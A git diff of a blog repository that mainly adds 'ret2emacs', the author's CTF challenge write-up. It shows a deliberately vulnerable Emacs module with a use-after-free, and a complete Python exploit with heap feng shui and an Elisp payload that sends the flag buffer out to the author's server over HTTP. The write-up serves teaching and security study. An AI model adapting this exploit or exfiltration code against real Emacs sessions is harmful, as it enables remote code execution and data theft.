--- a/org/Pushing Haunt to Its Limits/pushing-haunt-to-its-limits.org
+++ b/haunt/posts/pushing-haunt-to-its-limits.org
@@ -1,7 +1,7 @@
#+TITLE: Pushing Haunt to Its Limits
#+DATE: <2022-12-12 Mon 07:31>
-#+TAGS: writeup, programming, lisp, guile, scheme, webdev
-#+HAUNT_METADATA: (("meta-tags" . "((\"twitter:card\" . \"summary\") (\"twitter:site\" . \"@0daysfordays\") (\"twitter:creator\" . \"@0daysfordays\") (\"og:description\" . \"Some thoughts on using Guile to write a comment system, among other things.\") (\"og:image\" . \"https://jakob.space/static/image/old-webmention-screenshot.png\"))"))
+#+TAGS: writeup programming lisp guile scheme webdev
+#+META-TAGS: (("twitter:card" . "summary") ("twitter:site" . "@0daysfordays") ("twitter:creator" . "@0daysfordays") ("og:description" . "Some thoughts on using Guile to write a comment system, among other things.") ("og:image" . "https://jakob.space/static/image/old-webmention-screenshot.png"))
When I started writing this article, I didn't mean to do anything more than describe a comment system I'd written in Guile. But as often happens when I write, I soon found myself disregarding that original scope and recording the history of every line of code I've written that's ever been run by a web server. I settled on allowing this to be an article about incorporating dynamic content into a [[https://dthompson.us/projects/haunt.html][Haunt]] site -- a use-case that Haunt probably wasn't built to support, but which works surprisingly well due to Haunt configurations being ordinary Scheme programs.
diff --git a/org/Reverse Engineering Babby's First Archive Format/reverse-engineering-babbys-first-archive-format.org b/haunt/posts/reverse-engineering-babbys-first-archive-format.org
index 49bf680..1f69b5a 100644
--- a/org/Reverse Engineering Babby's First Archive Format/reverse-engineering-babbys-first-archive-format.org
+++ b/haunt/posts/reverse-engineering-babbys-first-archive-format.org
@@ -1,6 +1,6 @@
#+TITLE: Reverse Engineering Babby's First Archive Format
#+DATE: <2017-03-02 Thu 15:25>
-#+TAGS: writeup, programming, reverse-engineering, video-games, x86, c, python
+#+TAGS: writeup programming reverse-engineering video-games x86 c python
About two months have passed since the first release of Nekopack - a tool I
wrote for extracting game data from Nekopara's XP3 archives. While the process
diff --git a/org/Rust on the Flipper Zero/rust-on-flipper-zero.org b/haunt/posts/rust-on-flipper-zero.org
index 6f0c46c..4b842bb 100644
--- a/org/Rust on the Flipper Zero/rust-on-flipper-zero.org
+++ b/haunt/posts/rust-on-flipper-zero.org
@@ -1,6 +1,6 @@
#+TITLE: Rust on the Flipper Zero
#+DATE: <2022-07-05 Tue 07:16>
-#+TAGS: writeup, rust, embedded, hardware, flipperzero
+#+TAGS: writeup rust embedded hardware flipperzero
My [[https://flipperzero.one/][Flipper Zero]] arrived in the mail a few weeks ago, ending a nearly two-year
wait for its arrival. For the uninitiated, it's a "multi-tool device for geeks":
diff --git a/org/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/sdl-tutorial-part-0x00.org b/haunt/posts/sdl-tutorial-part-0x00.org
index 2146ce4..dab5990 100644
--- a/org/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/sdl-tutorial-part-0x00.org
+++ b/haunt/posts/sdl-tutorial-part-0x00.org
@@ -1,6 +1,6 @@
#+TITLE: SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering
#+DATE: <2016-09-14 Sun 21:02>
-#+TAGS: tutorial, programming, game-development, c
+#+TAGS: tutorial programming game-development c
#+BEGIN_EXPORT html
diff --git a/org/Slime the World: A Postmortem/slime-the-world-postmortem.org b/haunt/posts/slime-the-world-postmortem.org
index 8a282f3..ea14dcd 100644
--- a/org/Slime the World: A Postmortem/slime-the-world-postmortem.org
+++ b/haunt/posts/slime-the-world-postmortem.org
@@ -1,6 +1,6 @@
#+TITLE: Slime the World: A Postmortem
#+DATE: <2018-11-02 Fri 08:27>
-#+TAGS: writeup, video-games, programming, game-development, lua, lisp, fennel
+#+TAGS: writeup video-games programming game-development lua lisp fennel
[[https://itch.io/jam/autumn-lisp-game-jam-2018/rate/321822][Slime the World]] was my entry to this year's [[https://itch.io/jam/autumn-lisp-game-jam-2018][Autumn Lisp Game Jam]], and it managed
to win second place. The theme was slime, so it’s a game about covering
diff --git a/org/Sorry Guys I Have To Troubleshoot My USB Drivers Before I Can Play With You/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play.org b/haunt/posts/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play.org
index 6739faf..6739faf 100644
--- a/org/Sorry Guys I Have To Troubleshoot My USB Drivers Before I Can Play With You/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play.org
+++ b/haunt/posts/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play.org
diff --git a/org/The Many Faces of an Undying Programming Language/thoughts-on-lisps.org b/haunt/posts/thoughts-on-lisps.org
index 7ac53ce..c2f72cd 100644
--- a/org/The Many Faces of an Undying Programming Language/thoughts-on-lisps.org
+++ b/haunt/posts/thoughts-on-lisps.org
@@ -1,6 +1,6 @@
#+TITLE: The Many Faces of an Undying Programming Language
#+DATE: <2020-07-20 Mon 09:16>
-#+TAGS: opinion, programming, lisp, common-lisp, scheme
+#+TAGS: opinion programming lisp common-lisp scheme
# I ran a [[https://mastodon.sdf.org/web/statuses/104497642847404947][poll]] on Mastodon the other day, and fewer than one fifth of the respondents indicated only knowing one dialect of Lisp. Perhaps I should have followed up and asked how many self-identified as "Lisp hackers", but I don't think it would be unfair to assume that at least some of those working with several Lisps choose to do so because they enjoy the basic properties upon which Lisp dialects are constructed.
diff --git a/org/Towards Guix for DevOps/towards-guix-for-devops.org b/haunt/posts/towards-guix-for-devops.org
index afbaea4..85d4525 100644
--- a/org/Towards Guix for DevOps/towards-guix-for-devops.org
+++ b/haunt/posts/towards-guix-for-devops.org
@@ -1,6 +1,6 @@
#+TITLE: Towards Guix for DevOps
#+DATE: <2019-07-13 Sat 16:11>
-#+TAGS: writeup, programming, functional-programming, linux, guix, lisp, scheme, guile
+#+TAGS: writeup programming functional-programming linux guix lisp scheme guile
#+CROSSPOST: https://www.gnu.org/software/guix/blog/2019/towards-guix-for-devops/
Hey, there! I'm Jakob, a Google Summer of Code intern and new contributor to
diff --git a/org/Transition to Haunt/transition-to-haunt.org b/haunt/posts/transition-to-haunt.org
index dd1e730..6dc2fac 100644
--- a/org/Transition to Haunt/transition-to-haunt.org
+++ b/haunt/posts/transition-to-haunt.org
@@ -1,6 +1,6 @@
#+TITLE: Transitioning to Haunt
-#+DATE: <2019-05-04 Sat>
-#+TAGS: writeup, programming, lisp, scheme, emacs, emacs-lisp
+#+DATE: <2019-05-04 Sat 00:00>
+#+TAGS: writeup programming lisp scheme emacs emacs-lisp
Rather than study for finals this week, I spent my time moving this blog over to
[[https://dthompson.us/projects/haunt.html][Haunt]]. Previously, I was using Hugo, and while [[https://ox-hugo.scripter.co/][ox-hugo]] made the authoring
diff --git a/org/UMass CTF 2020 - suckless Writeup/umass-ctf-2020-writeup.org b/haunt/posts/umass-ctf-2020-writeup.org
index b55df2c..f98f33a 100644
--- a/org/UMass CTF 2020 - suckless Writeup/umass-ctf-2020-writeup.org
+++ b/haunt/posts/umass-ctf-2020-writeup.org
@@ -1,6 +1,6 @@
#+TITLE: UMass CTF 2020 - suckless Writeup
#+DATE: <2020-12-13 Sun 18:16>
-#+TAGS: writeup, capture-the-flag, security, binary-exploitation, myrddin
+#+TAGS: writeup capture-the-flag security binary-exploitation myrddin
Well, this is certainly overdue. It's the writeup for a challenge I authored for
this year's UMass CTF, which ran from /October 5th to October 12th/. Yes, I'm
diff --git a/org/UMass CTF 2021 Postmortem/umass-ctf-2021-postmortem.org b/haunt/posts/umass-ctf-2021-postmortem.org
index aae7793..2bc284c 100644
--- a/org/UMass CTF 2021 Postmortem/umass-ctf-2021-postmortem.org
+++ b/haunt/posts/umass-ctf-2021-postmortem.org
@@ -1,6 +1,6 @@
#+TITLE: UMass CTF 2021 Postmortem
#+DATE: <2021-04-19 Mon 10:24>
-#+TAGS: writeup, capture-the-flag
+#+TAGS: writeup capture-the-flag
This was the first year our capture-the-flag event, [[https://ctftime.org/event/1282][UMass CTF 2021]], was open to
the public. The competition started Friday, March 26th at 18:00 EDT, and ended
diff --git a/haunt/posts/umass-ctf-2022.org b/haunt/posts/umass-ctf-2022.org
new file mode 100644
index 0000000..61576c6
--- /dev/null
+++ b/haunt/posts/umass-ctf-2022.org
@@ -0,0 +1,467 @@
+#+TITLE: ret2emacs
+#+TAGS: writeup capture-the-flag emacs binary-exploitation heap-feng-shui
+#+DATE: <2022-04-14 Thu 21:44>
+
+It's that time of year again where I take some time to reflect on [[https://ctftime.org/event/1561][UMass CTF]].
+This is going to be shorter than last year's. I put out eight challenges, and
+I'm only going to be writing about one of them. Code, documentation, and
+write-ups for the others are available [[https://github.com/UMassCybersecurity/UMassCTF-2022-challenges][here]].
+
+* Use-After-Free in an Emacs Module
+
+=ret2emacs= was among our three unsolved challenges, and it had a disappointingly
+low volume of discussion over the weekend. That hurt, since it's the challenge I
+was most proud of, but someone asked for solution details post-competition so
+I'm given a reason to acknowledge that I made it.
+
+** Background
+
+Emacs might seem to be an unusual choice of target for a capture-the-flag
+challenge since it's "just" a text editor. However, there's a little-known
+package called [[http://rudel.sourceforge.net/][Rudel]] which enables collaborative editing over the network. The
+premise for the challenge was that you'd connect to a Rudel server where there
+was a bot watching =*scratch*=,[fn:1] and you had to insert some text that would
+trigger remote-code execution.
+
+I didn't hoard any 0days for this competition. The intended solution was to
+attack a vulnerable [[https://www.gnu.org/software/emacs/manual/html_node/elisp/Dynamic-Modules.html][Emacs dynamic module]] that was loaded in the bot's Emacs
+session.
+
+For the uninitiated, Emacs is extensible in a few ways. The primary mechanism
+for doing so is to use Emacs Lisp (Elisp), which is an interpreted[fn:2]
+scripting language. Emacs also has the capability to interoperate with native
+code in shared libraries, which we call "dynamic modules." Elisp can call into
+the code of dynamic modules and vice versa. It's similar to the FFI situation in
+most other scripting languages.
+
+The following is the (admittedly quite bad) Elisp code running on the bot's end.
+This is not the vulnerable part, but the background may be helpful in
+understanding the challenge.
+
+#+BEGIN_SRC elisp
+(defvar sixplayground-overlays '())
+
+(defun sixplayground-make-overlay (start end data-or-function)
+ (let* ((overlay (make-overlay (car match) (cadr match)))
+ (data (if (stringp data-or-function)
+ data-or-function
+ (funcall data-or-function))))
+ (overlay-put overlay 'display (create-image data 'pbm t))
+ (push overlay sixplayground-overlays)))
+
+(defun sixplayground-parse ()
+ (save-excursion
+ (set-buffer (get-buffer "*scratch*"))
+ (dolist (overlay sixplayground-overlays)
+ (delete-overlay overlay))
+ (setq sixplayground-overlays '())
+ (dolist (match (matches-in-buffer "\x1bP0;0;0q.*?\x1b\\\\"))
+ (sixplayground-make-overlay (car match) (cdr match)
+ (sixel-decode-string (buffer-substring (car match) (cadr match)))))))
+
+(defun matches-in-buffer (regexp &optional buffer)
+ "return a list of matches of REGEXP in BUFFER or the current buffer if not given."
+ (let ((matches))
+ (save-match-data
+ (save-excursion
+ (with-current-buffer (or buffer (current-buffer))
+ (save-restriction
+ (widen)
+ (goto-char 1)
+ (while (search-forward-regexp regexp nil t 1)
+ (push (list (match-beginning 0) (match-end 0)) matches)))))
+ (reverse matches))))
+
+(defun sixplayground-on-post-command (&rest args)
+ (when (buffer-modified-p (get-buffer "*scratch*"))
+ (sixplayground-parse)
+ (set-buffer-modified-p nil)))
+#+END_SRC
+
+Here's a summary of what's going on: =sixplayground-on-post-command= is like a
+callback -- it's called every time the buffer is edited. It's a wrapper around
+=sixplayground-parse=, which iterates over all substrings in the buffer that look
+like a series of [[https://en.wikipedia.org/wiki/Sixel][Sixel commands]] and converts them to "overlays", which are
+images that can be displayed in the editor's text area. The part that actually
+converts these substrings to image data is =sixel-decode-string=.
+
+#+CAPTION: Example of an overlay in Emacs.
+[[./ret2emacs-overlay-demo.png]]
+
+The song and dance of FFI initialization is omitted for brevity, but
+=sixel-decode-string= is implemented as the following C function. It returns an
+Emacs string.
+
+#+BEGIN_SRC c
+struct hash {
+ uint32_t h0, h1, h2, h3;
+};
+
+#define CACHESZ 8
+static struct hash cache_identifiers[CACHESZ];
+static struct emacs_value_tag *cache[CACHESZ];
+static int inuse[CACHESZ];
+
+emacs_value decode_sixel(emacs_env *ENV, ptrdiff_t
+ NARGS, emacs_value *ARGS, void *DATA)
+{
+ assert(NARGS == 1);
+
+ int pwidth, pheight, ncolors;
+ unsigned char *palette;
+ unsigned char *pixels;
+
+ unsigned char *buf;
+ ptrdiff_t len;
+ if (!ENV->copy_string_contents(ENV, ARGS[0], NULL, &len)) {
+ panic(ENV, "Failed to retrieve string length.");
+ }
+ if ((buf = malloc(len)) == NULL) {
+ panic(ENV, "Failed to allocate buffer.");
+ }
+ if (!ENV->copy_string_contents(ENV, ARGS[0], (char *) buf, &len)) {
+ panic(ENV, "Failed to retrieve string.");
+ }
+
+ md5(buf, len);
+ for (int i = 0; i < CACHESZ; i++) {
+ if (cache_identifiers[i].h0 == h0 && cache_identifiers[i].h1 == h1 && cache_identifiers[i].h2 == h2 && cache_identifiers[i].h3 == h3) {
+ return cache[i];
+ }
+ }
+
+ sixel_decode_raw(buf, len, &pixels, &pwidth, &pheight, &palette, &ncolors, allocator);
+
+ ptrdiff_t output_len = 256 + 12 * (pwidth * pheight);
+ char *output, *cur;
+ if ((output = malloc(output_len)) == NULL) {
+ panic(ENV, "Failed to allocate buffer.");
+ }
+
+ cur = output;
+ cur += sprintf(cur, "P3\n%d %d\n255\n", pwidth, pheight);
+ for (int i = 0; i < pheight * pwidth; i++) {
+ cur += sprintf(cur, "%d %d %d\n",
+ ,*(palette + pixels[i] * 3 + 0),
+ ,*(palette + pixels[i] * 3 + 1),
+ ,*(palette + pixels[i] * 3 + 2));
+ }
+
+ emacs_value ret = ENV->make_string(ENV, (char *) output, strlen(output));
+
+ int sentinel = 0;
+ for (int i = 0; i < CACHESZ; i++) {
+ if (!inuse[i]) {
+ sentinel = 1;
+ cache_identifiers[i].h0 = h0;
+ cache_identifiers[i].h1 = h1;
+ cache_identifiers[i].h2 = h2;
+ cache_identifiers[i].h3 = h3;
+ cache[i] = malloc(sizeof(struct emacs_value_tag));
+ cache[i]->v = *((void **)ret);
+ inuse[i] = 1;
+ break;
+ }
+ }
+ if (!sentinel) {
+ // Evict the whole cache, except for `i`.
+ for (int i = 0; i < CACHESZ; i++) {
+ /* cache_identifiers[j].h0 = 0; */
+ /* cache_identifiers[j].h1 = 0; */
+ /* cache_identifiers[j].h2 = 0; */
+ /* cache_identifiers[j].h3 = 0; */
+ free(cache[i]);
+ inuse[i] = 0;
+ }
+ cache_identifiers[0].h0 = h0;
+ cache_identifiers[0].h1 = h1;
+ cache_identifiers[0].h2 = h2;
+ cache_identifiers[0].h3 = h3;
+ cache[0] = malloc(sizeof(struct emacs_value_tag));
+ cache[0]->v = *((void **)ret);
+ inuse[0] = 1;
+ }
+
+ free(buf);
+ free(output);
+ sixel_allocator_free(allocator, palette);
+ return ret;
+
+}
+#+END_SRC
+
+If your eyes glazed over reading that, we're doing a couple of things. First and
+foremost, we're taking the =md5sum= of the input (which, in this case, is a string
+of Sixel commands). If we haven't seen the hash before, then we feed the input
+into [[https://github.com/saitoha/libsixel][libsixel]] to get some bitmap data, and then convert that bitmap data into an
+Emacs string containing a [[https://en.wikipedia.org/wiki/Netpbm][netpbm]] image... mostly for convenience, since it's a
+format readily accepted by Emacs. We also copy that resulting string onto the
+heap so that we can save it in our =cache=.[fn:3] If we /have/ seen the hash before,
+then we immediately return an Emacs object from the cache.
+
+** Vulnerability
+
+The vulnerability is outlined by the comments: we clear neither the heap
+pointers in the cache nor the hashes. So, if the cache were evicted and you
+inserted a Sixel image that had been cached prior to the eviction, the function
+would return a stale pointer.
+
+So, where do we go with this? Let's look at the signature for =sixplayground-make-overlay=:
+
+#+BEGIN_SRC elisp
+(defun sixplayground-make-overlay (start end data-or-function)
+ ...
+#+END_SRC
+
+We pass the output of =sixel-decode-string= in as =data-or-function=. So if we can
+coerce =sixel-decode-string= into returning an Emacs function object, then that
+function will be called when the buffer is done being processed.
+
+Fortunately, it's fairly easy to construct a "function" that works, because
+Elisp is quite lenient in what it considers a function.
+
+#+BEGIN_SRC elisp
+(functionp 'eval-buffer) ; => t
+#+END_SRC
+
+If we can coerce =sixel-decode-string= into returning the symbol naming a
+function, then that function will be executed.
+
+Elisp objects are machine words where the type of the object is encoded in the
+least significant bits. The concept is similar to that of the [[https://en.wikipedia.org/wiki/Tagged_pointer][tagged pointer]],
+except that not all Emacs objects are pointers. Symbols, in particular, are just
+identified by non-descriptive integers whose three least significant bits are
+all =0=.
+
+#+BEGIN_SRC c
+enum Lisp_Type
+ {
+ /* Symbol. XSYMBOL (object) points to a struct Lisp_Symbol. */
+ Lisp_Symbol = 0,
+
+ /* Type 1 is currently unused. */
+
+ /* Fixnum. XFIXNUM (obj) is the integer value. */
+ Lisp_Int0 = 2,
+ Lisp_Int1 = USE_LSB_TAG ? 6 : 3,
+
+ /* String. XSTRING (object) points to a struct Lisp_String.
+ The length of the string, and its contents, are stored therein. */
+ Lisp_String = 4,
+
+ /* Vector of Lisp objects, or something resembling it.
+ XVECTOR (object) points to a struct Lisp_Vector, which contains
+ the size and contents. The size field also contains the type
+ information, if it's not a real vector object. */
+ Lisp_Vectorlike = 5,
+
+ /* Cons. XCONS (object) points to a struct Lisp_Cons. */
+ Lisp_Cons = USE_LSB_TAG ? 3 : 6,
+
+ /* Must be last entry in Lisp_Type enumeration. */
+ Lisp_Float = 7
+ };
+#+END_SRC
+
+It isn't too difficult to find the in-memory representation of a symbol using
+the dynamic module interface. Doing so is left as an exercise to the reader, as
+it's been long enough that I've discarded a lot of my solution material. The
+symbol I went for was =eval-buffer= for reasons you will soon see.
+
+The point about this being a non-descriptive integer rather than a pointer is an
+important one, though. This means that one need not concern herself with i.e.,
+ASLR to carry out the exploit.
+
+Once you have the in-memory representation of the symbol, you can encode it as a
+Sixel image using this Python function:
+
+#+BEGIN_SRC python
+import png
+from subprocess import Popen, DEVNULL, PIPE, STDOUT
+
+def data_to_sixel(data):
+ w = png.Writer(4, 2, greyscale=False)
+ p = Popen(["convert", "/dev/stdin", "-geometry", f"{len(data[0])}x{len(data)}", "sixel:-"], stdout=PIPE, stdin=PIPE, stderr=STDOUT)
+ w.write(p.stdin, data)
+ p.stdin.close()
+ try:
+ p.wait(5)
+ except Exception:
+ exit(1)
+ return p.stdout.read()
+#+END_SRC
+
+** Exploit
+
+When this is decoded by the module, we know that there will be a heap chunk
+/somewhere/ that contains the in-memory representation for our target symbol. Our
+goal is to do some [[https://en.wikipedia.org/wiki/Heap_feng_shui][heap feng shui]] such that a stale pointer in the cache points
+at this particular heap chunk. Then, we trigger a use-after-free, so that when
+=sixel-decode-string= is called, it will return this symbol object, thereby
+triggering the =or-function= path of =sixplayground-make-overlay=.
+
+This brings us to the solution. Like much of the other code in this article, it
+is not pleasing to look at, but it gets the point across.
+
+#+BEGIN_SRC python
+from base64 import b64encode
+from subprocess import Popen, DEVNULL, PIPE, STDOUT
+import struct
+import time
+import os
+import png
+import random
+
+EVAL_BUFFER=b"\x1bP0;0;0q\"1;1;4;2#0;2;0;0;0#1;2;0;0;0#2;2;1;1;1#3;2;1;1;1#4;2;2;2;2#5;2;2;2;2#6;2;2;2;2#7;2;3;3;3#8;2;3;3;3#9;2;4;4;4#10;2;4;4;4#11;2;4;4;4#12;2;5;5;5#13;2;5;5;5#14;2;5;5;5#15;2;6;6;6#16;2;6;6;6#17;2;7;7;7#18;2;7;7;7#19;2;7;7;7#20;2;8;8;8#21;2;8;8;8#22;2;9;9;9#23;2;9;9;9#24;2;9;9;9#25;2;10;10;10#26;2;10;10;10#27;2;11;11;11#28;2;11;11;11#29;2;11;11;11#30;2;12;12;12#31;2;12;12;12#32;2;13;13;13#33;2;13;13;13#34;2;13;13;13#35;2;14;14;14#36;2;14;14;14#37;2;15;15;15#38;2;15;15;15#39;2;15;15;15#40;2;16;16;16#41;2;16;16;16#42;2;16;16;16#43;2;17;17;17#44;2;17;17;17#45;2;18;18;18#46;2;18;18;18#47;2;18;18;18#48;2;19;19;19#49;2;19;19;19#50;2;20;20;20#51;2;20;20;20#52;2;20;20;20#53;2;21;21;21#54;2;21;21;21#55;2;22;22;22#56;2;22;22;22#57;2;22;22;22#58;2;23;23;23#59;2;23;23;23#60;2;24;24;24#61;2;24;24;24#62;2;24;24;24#63;2;25;25;25#64;2;25;25;25#65;2;25;25;25#66;2;26;26;26#67;2;26;26;26#68;2;27;27;27#69;2;27;27;27#70;2;27;27;27#71;2;28;28;28#72;2;28;28;28#73;2;29;29;29#74;2;29;29;29#75;2;29;29;29#76;2;30;30;30#77;2;30;30;30#78;2;31;31;31#79;2;31;31;31#80;2;31;31;31#81;2;32;32;32#82;2;32;32;32#83;2;33;33;33#84;2;33;33;33#85;2;33;33;33#86;2;34;34;34#87;2;34;34;34#88;2;35;35;35#89;2;35;35;35#90;2;35;35;35#91;2;36;36;36#92;2;36;36;36#93;2;36;36;36#94;2;37;37;37#95;2;37;37;37#96;2;38;38;38#97;2;38;38;38#98;2;38;38;38#99;2;39;39;39#100;2;39;39;39#101;2;40;40;40#102;2;40;40;40#103;2;40;40;40#104;2;41;41;41#105;2;41;41;41#106;2;42;42;42#107;2;42;42;42#108;2;42;42;42#109;2;43;43;43#110;2;43;43;43#111;2;44;44;44#112;2;44;44;44#113;2;44;44;44#114;2;45;45;45#115;2;45;45;45#116;2;45;45;45#117;2;46;46;46#118;2;46;46;46#119;2;47;47;47#120;2;47;47;47#121;2;47;47;47#122;2;48;48;48#123;2;48;48;48#124;2;49;49;49#125;2;49;49;49#126;2;49;49;49#127;2;50;50;50#128;2;50;50;50#129;2;51;51;51#130;2;51;51;51#131;2;51;51;51#132;2;52;52;52#133;2;52;52;52#134;2;53;53;53#135;2;53;53;53#136;2;53;53;53#137;2;54;54;54#138;2;54;54;54#139;2;55;55;55#140;2;55;55;55#141;2;55;55;55#142;2;56;56;56#143;2;56;56;56#144;2;56;56;56#145;2;57;57;57#146;2;57;57;57#147;2;58;58;58#148;2;58;58;58#149;2;58;58;58#150;2;59;59;59#151;2;59;59;59#152;2;60;60;60#153;2;60;60;60#154;2;60;60;60#155;2;61;61;61#156;2;61;61;61#157;2;62;62;62#158;2;62;62;62#159;2;62;62;62#160;2;63;63;63#161;2;63;63;63#162;2;64;64;64#163;2;64;64;64#164;2;64;64;64#165;2;65;65;65#166;2;65;65;65#167;2;65;65;65#168;2;66;66;66#169;2;66;66;66#170;2;67;67;67#171;2;67;67;67#172;2;67;67;67#173;2;68;68;68#174;2;68;68;68#175;2;69;69;69#176;2;69;69;69#177;2;69;69;69#178;2;70;70;70#179;2;70;70;70#180;2;71;71;71#181;2;71;71;71#182;2;71;71;71#183;2;72;72;72#184;2;72;72;72#185;2;73;73;73#186;2;73;73;73#187;2;73;73;73#188;2;74;74;74#189;2;74;74;74#190;2;75;75;75#191;2;75;75;75#192;2;75;75;75#193;2;76;76;76#194;2;76;76;76#195;2;76;76;76#196;2;77;77;77#197;2;77;77;77#198;2;78;78;78#199;2;78;78;78#200;2;78;78;78#201;2;79;79;79#202;2;79;79;79#203;2;80;80;80#204;2;80;80;80#205;2;80;80;80#206;2;81;81;81#207;2;81;81;81#208;2;82;82;82#209;2;82;82;82#210;2;82;82;82#211;2;83;83;83#212;2;83;83;83#213;2;84;84;84#214;2;84;84;84#215;2;84;84;84#216;2;85;85;85#217;2;85;85;85#218;2;85;85;85#219;2;86;86;86#220;2;86;86;86#221;2;87;87;87#222;2;87;87;87#223;2;87;87;87#224;2;88;88;88#225;2;88;88;88#226;2;89;89;89#227;2;89;89;89#228;2;89;89;89#229;2;90;90;90#230;2;90;90;90#231;2;91;91;91#232;2;91;91;91#233;2;91;91;91#234;2;92;92;92#235;2;92;92;92#236;2;93;93;93#237;2;93;93;93#238;2;93;93;93#239;2;94;94;94#240;2;94;94;94#241;2;95;95;95#242;2;95;95;95#243;2;95;95;95#244;2;96;96;96#245;2;96;96;96#246;2;96;96;96#247;2;97;97;97#248;2;97;97;97#249;2;98;98;98#250;2;98;98;98#251;2;98;98;98#252;2;99;99;99#253;2;99;99;99#254;2;100;100;100#255;2;100;100;100#0AAAB$#128@#193@#6@-\x1b\\"
+PAYLOAD=b"""
+(save-excursion
+ (set-buffer (get-buffer "*flag*"))
+ (url-retrieve-synchronously (format "http://jakob.space/%s" (buffer-string)))
+ (buffer-string))
+"""
+
+def data_to_sixel(data):
+ w = png.Writer(4, 2, greyscale=False)
+ p = Popen(["convert", "/dev/stdin", "-geometry", f"{len(data[0])}x{len(data)}", "sixel:-"], stdout=PIPE, stdin=PIPE, stderr=STDOUT)
+ w.write(p.stdin, data)
+ p.stdin.close()
+ try:
+ p.wait(5)
+ except Exception:
+ exit(1)
+ return p.stdout.read()
+
+
+def random4x2():
+ return data_to_sixel(
+ [tuple([random.randrange(0, 100) for _ in range(3 * 4)]),
+ tuple([random.randrange(0, 100) for _ in range(3 * 4)])]
+ )
+
+
+def emacs_exec(cmd):
+ p = Popen(["emacsclient", "--eval", cmd], stdout=PIPE, stdin=DEVNULL, stderr=STDOUT)
+ try:
+ p.wait(30)
+ except Exception:
+ exit(1)
+ return p.stdout.read()
+
+
+def submit(data):
+ b64encode(PAYLOAD + b"\n" + data)
+ emacs_exec("""
+ (progn
+ (set-buffer (get-buffer "*scratch*"))
+ (delete-region 1 (buffer-size))
+ (insert (base64-decode-string \"{}\")))
+ """.format(b64encode(PAYLOAD + b"\n" + data).decode()))
+ resp = emacs_exec("(progn (set-buffer (get-buffer \"*scratch*\")) (buffer-string))")
+ if b"FLAG" in resp:
+ print(resp)
+
+daemon = Popen(["emacs", "--fg-daemon"], stdout=PIPE, stdin=DEVNULL, stderr=STDOUT)
+time.sleep(3)
+
+# 0. Connect to the remote.
+emacs_exec("(rudel-join-session `(:transport-backend ,(rudel-backend-choose 'transport (lambda (backend) (rudel-capable-of-p backend 'listen))) :protocol-backend ,(rudel-backend-choose 'protocol (lambda (backend) (rudel-capable-of-p backend 'host))) :color \"Blue\" :username \"attacker\" :global-password \"\" :user-password \"\" :host \"34.136.139.6\" :port 6522 :encryption nil))")
+if b"nil\n" == emacs_exec("(rudel-unsubscribed-documents rudel-current-session)"):
+ print("[a] Failed to connect...")
+ daemon.kill()
+ exit(1)
+litmus = emacs_exec("""
+(dolist (document (rudel-unsubscribed-documents rudel-current-session))
+ (rudel-attach-to-buffer document (get-buffer "*scratch*"))
+ (let ((connection (oref (oref document session) connection)))
+ (rudel-subscribe-to connection document)))
+""")
+if b"ERROR" in litmus:
+ print("[b] Failed to connect...")
+ daemon.kill()
+ exit(1)
+
+original_cache = []
+
+dump = PAYLOAD
+
+# 1. Populate the cache.
+for _ in range(8):
+ dat = random4x2()
+ original_cache.append(dat)
+ dump += dat
+
+# 2. Evict the cache.
+dump += random4x2()
+
+# 3. _Some_ allocation between now and fully populating the cache will overlap
+# with the Emacs struct array. We don't necessarily know when, so pick random n.
+
+# n = random.randrange(0, 8)
+n = 0
+# for i in range(n):
+# dat = random4x2()
+# original_cache[i] = dat
+# dump += dat
+
+# 4. Submit the magic payload.
+dump += EVAL_BUFFER
+
+# 5. Overlap should be some random entry afterward...
+k = 5
+# k = random.randrange(n + 2, 8)
+# dump += original_cache[k]
+
+submit(dump)
+submit(original_cache[k])
+
+emacs_exec("(rudel-disconnect rudel-current-session)")
+print(f"n = {n}, k = {k}")
+daemon.kill()
+#+END_SRC
+
+I began by randomly choosing =n= and =k=. Trial and error led me to find that =n = 0,
+k = 5= was the most reliable choice of the two, so they are hard-coded. There is
+still some nondeterminism involved in the exploit, so you will have to run the
+exploit script several times before it is fruitful.
+
+Besides the heap feng shui and use-after-free described above, we are inserting
+some Elisp code to be executed by =eval-buffer= when we are successful. In
+particular:
+
+#+BEGIN_SRC elisp
+(save-excursion
+ (set-buffer (get-buffer "*flag*"))
+ (url-retrieve-synchronously (format "http://jakob.space/%s" (buffer-string)))
+ (buffer-string))
+#+END_SRC
+
+So after setting up a Bash script to run my exploit in a loop, all I needed to
+do was log into my home server, =tail -f= the logs, and crack open a beer.
+
+#+BEGIN_SRC prog
+jakob@[REDACTED] /var/log $ gunzip < [REDACTED] | grep UMASS
+www.jakob.space:80 [REDACTED] - - [31/Mar/2022:20:33:08 -0400] "GET /UMASS%7Bn0T_4_DUnk_0n_3M4c2_By_4nY_M34n2.._n3Xt_Y34r_will_b3_n30V1M%7D HTTP/1.1" 301 706 "-" "URL/Emacs Emacs/27.2.50 (X11; x86_64-pc-linux-gnu)"
+#+END_SRC
+
+* On the CTF as a Whole
+
+I don't have too much to say. I think the competition went well. Thanks to all
+who played.
+
+Despite all the burnout I was experiencing in the months leading up to the
+competition, the comments on the [[https://ctftime.org/event/1561/weight][weight voting]] made it worth it for me,
+especially hearing that folks liked the dumb game I spent months working on.
+
+I'm going off elsewhere for grad school now, but I'll continue to volunteer my
+time with the UMass Cybersecurity Club for the foreseeable future. I helped to
+sow the seeds, and now I have an opportunity to see things bloom.
+
+---
+
+[fn:1] In Emacs, the principal data structure for storing editable text is the *buffer*. Each buffer has a unique name, and a buffer can either be tied to a file, or just be some ephemeral thing that only lasts as long as the Emacs session. =*scratch*= is a buffer that's open by default in Emacs, and it's of the latter "ephemeral" kind. The choice of buffer for the challenge was somewhat arbitrary. I went with =*scratch*= because it's known to nearly every Emacs user.
+
+[fn:2] Or JIT, if you're using the latest and greatest.
+
+[fn:3] This is where the challenge falls off the rails a bit in terms of realism. There's absolutely no reason to do this, and I posit it's unsafe to hold onto references in the C code at all since Emacs is a garbage-collected language. But I digress. Challenge design is an endless balancing act between "realistic" and "can be reasonably be solved in a weekend."
+
+# LocalWords: Rudel fn bot's Elisp FFI SRC elisp defvar
